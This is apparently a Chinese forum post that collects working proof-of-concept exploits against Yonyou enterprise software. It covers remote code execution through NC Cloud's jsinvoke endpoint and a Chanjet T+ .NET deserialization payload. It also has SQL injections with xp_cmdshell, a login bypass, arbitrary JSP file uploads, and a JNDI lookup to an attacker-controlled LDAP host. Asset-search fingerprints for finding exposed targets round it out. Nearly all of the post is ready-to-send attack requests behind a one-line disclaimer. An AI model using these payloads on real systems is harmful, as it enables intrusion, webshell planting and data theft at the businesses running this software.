用友漏洞 PoC 整理

吉沃运营专员

本文内容为互联网上收集，禁止用于非法用途，仅供学习使用！

用友 nc-cloud RCE

漏洞影响

NC63、NC633、NC65
NC Cloud1903、NC Cloud1909
NC Cloud2005、NC Cloud2105、NC Cloud2111
YonBIP高级版2207

先发送数据包，返回 200

1. POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
   
2. Host: 127.0.0.1:8080
   
3. Cache-Control: max-age=0
   
4. Upgrade-Insecure-Requests: 1
   
5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
   
6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   
7. Accept-Encoding: gzip, deflate
   
8. Accept-Language: zh-CN,zh;q=0.9
   
9. Cookie: cookiets=168170496; JSESSIONID=33A343770FF.server
   
10. If-None-Match: W/"1571-1589211696000"
    
11. If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
    
12. Connection: close
    
13. Content-Type: application/x-www-form-urlencoded
    
14. Content-Length: 249
    
15. 
    
16. {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}

复制代码

再发送数据包执行命令，返回命令执行结果

1. POST /404.jsp?error=bsh.Interpreter HTTP/1.1
   
2. Host: 127.0.0.1:8080
   
3. Cache-Control: max-age=0
   
4. Upgrade-Insecure-Requests: 1
   
5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
   
6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   
7. Accept-Encoding: gzip, deflate
   
8. Accept-Language: zh-CN,zh;q=0.9
   
9. Cookie: cookiets=1681785232226; JSESSIONID=334D3ED07A343770FF.server
   
10. If-None-Match: W/"1571-1589211696000"
    
11. If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
    
12. Connection: close
    
13. Content-Type: application/x-www-form-urlencoded
    
14. Content-Length: 104
    
15. 
    
16. cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ping 8.8.8.8").getInputStream())
    

复制代码

用友畅捷通 T+GetStoreWarehouseByStore RCE 漏洞

1. POST /tplus/ajaxpro/Ufida.T.CodeBehind.PriorityLevel,AppCode.ashx?method=GetstoreWarehouseByStore HTTP/1.1
   
2. Host:
   
3. User-Agent: Mozilla/5.0 (X11;Linuxx86 64)AppleWebKit/537.36(KHTML, likeGecko)Chrome/34.0.1847.137 Safari 4E423F
   
4. Connection: close
   
5. Content-Length:668 X-Ajaxpro-Method:GetstoreWarehouseByStore
   
6. Accept-Encoding:gzip { "storeID":{"type":"system.Windows.Data.objectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35", "MethodName":"start","objectInstance":{" type":"system.Diagnostics.Process, System,Version=4.0.0.0，Culture=neutral, PublicKeyToken=b77a5c561934e089" "startInfo":{" type":"system.Diagnostics.ProcessstartInfo, system,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089","FileName":"cmd", "Arguments":"/cwhoami>C:/Progra~2/Chanjet/TPlusStd/Website/2RUsL6jgx9sGX4GItBcVfxarBM.txt" } } } }

复制代码

用友 GRP-U8 存在信息泄露

直接访问log日志，泄露敏感信息

POC

1. GET /logs/info.log HTTP/1.1

复制代码

批量扫描工具：https://github.com/MzzdToT/HAC_B ... 4%A8%E5%8F%8BGRP-U8

指纹

1. body="U8Accid" || title="GRP-U8" || body="用友优普信息技术有限公司"

复制代码

工具利用

1. python3 GRP-U8_loginfo.py -u http://127.0.0.1:1111 单个 url 测试
   
2. 
   
3. python3 GRP-U8_loginfo.py -f url.txt 批量检测

复制代码

会在当前目录生成存在漏洞的 vuln.txt 文件

用友文件服务器认证绕过

资产搜索：

1. app="用友-NC-Cloud"   或者是app="用友-NC-Cloud" && server=="Apache-Coyote/1.1"

复制代码

POST 数据包修改返回包 false 改成 ture 就可以绕过登陆

1. HTTP/1.1 200 OK
   
2. Server: Apache-Coyote/1.1
   
3. Date: Thu, 10 Aug 2023 20:38:25 GMT
   
4. Connection: close
   
5. Content-Length: 17
   
6. 
   
7. {"login":"false"}

复制代码

用友时空 KSOA PayBill SQL 注入漏洞

1. POST /servlet/PayBill?caculate&_rnd= HTTP/1.1
   
2. Host: 1.1.1.1
   
3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
   
4. Content-Length: 134
   
5. Accept-Encoding: gzip, deflate
   
6. Connection: close
   
7. 
   
8. <?xml version="1.0" encoding="UTF-8" ?><root><name>1</name><name>1'WAITFOR DELAY '00:00:03';-</name><name>1</name><name>102360</name></root>

复制代码

命令执行

1. exec master..xp_cmdshell 'whoami';

复制代码

用友时空 KSOATaskRequestServlet SQL 注入漏洞

1. /servlet/com.sksoft.v8.trans.servlet.TaskRequestServlet?unitid=1*&password=1,

复制代码

用友时空 KSOA servletimagefield 文件 sKeyvalue 参数 SQL 注入

1. GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+ HTTP/1.1
   
2. Host: 127.0.0.1
   
3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko)
   
4. Accept-Encoding: gzip, deflate
   
5. Connection:

复制代码

用友畅捷通 T 注入

1. sqlmap -u http://xx.xx.xx.xx/WebSer~1/create_site.php?site_id=1 --is-dba

复制代码

用友 NC Cloud jsinvoke 任意文件上传漏洞

漏洞描述

用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限

app="用友-NC-Cloud"

1. POST /uapjs/jsinvoke/?action=invoke
   
2. Content-Type: application/json
   
3. 
   
4. {
   
5.   "serviceName": "nc.itf.iufo.IBaseSPService",
   
6.   "methodName": "saveXStreamConfig",
   
7.   "parameterTypes": [
   
8.     "java.lang.Object",
   
9.     "java.lang.String"
   
10.   ],
    
11.   "parameters": [
    
12.     "${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",
    
13.     "webapps/nc_web/407.jsp"
    
14.   ]
    
15. }
    
16. 
    
17. POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
    
18. Host:
    
19. Connection: Keep-Alive
    
20. Content-Length: 253
    
21. Content-Type: application/x-www-form-urlencoded
    
22. 
    
23. {
    
24.   "serviceName": "nc.itf.iufo.IBaseSPService",
    
25.   "methodName": "saveXStreamConfig",
    
26.   "parameterTypes": [
    
27.     "java.lang.Object",
    
28.     "java.lang.String"
    
29.   ],
    
30.   "parameters": [
    
31.     "${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}",
    
32.     "webapps/nc_web/301.jsp"
    
33.   ]
    
34. }

复制代码

用友移动管理系统 uploadApk.do 任意文件上传漏洞

1. /maupload/apk/a.jsp
   
2. 
   
3. POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1
   
4. Host:
   
5. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3
   
6. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
   
7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
   
8. Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDA0A25A091.server
   
9. Connection: close
   
10. 
    
11. ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3
    
12. Content-Disposition: form-data; name="downloadpath"; filename="a.jsp"
    
13. Content-Type: application/msword
    
14. 
    
15. hello
    
16. ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--

复制代码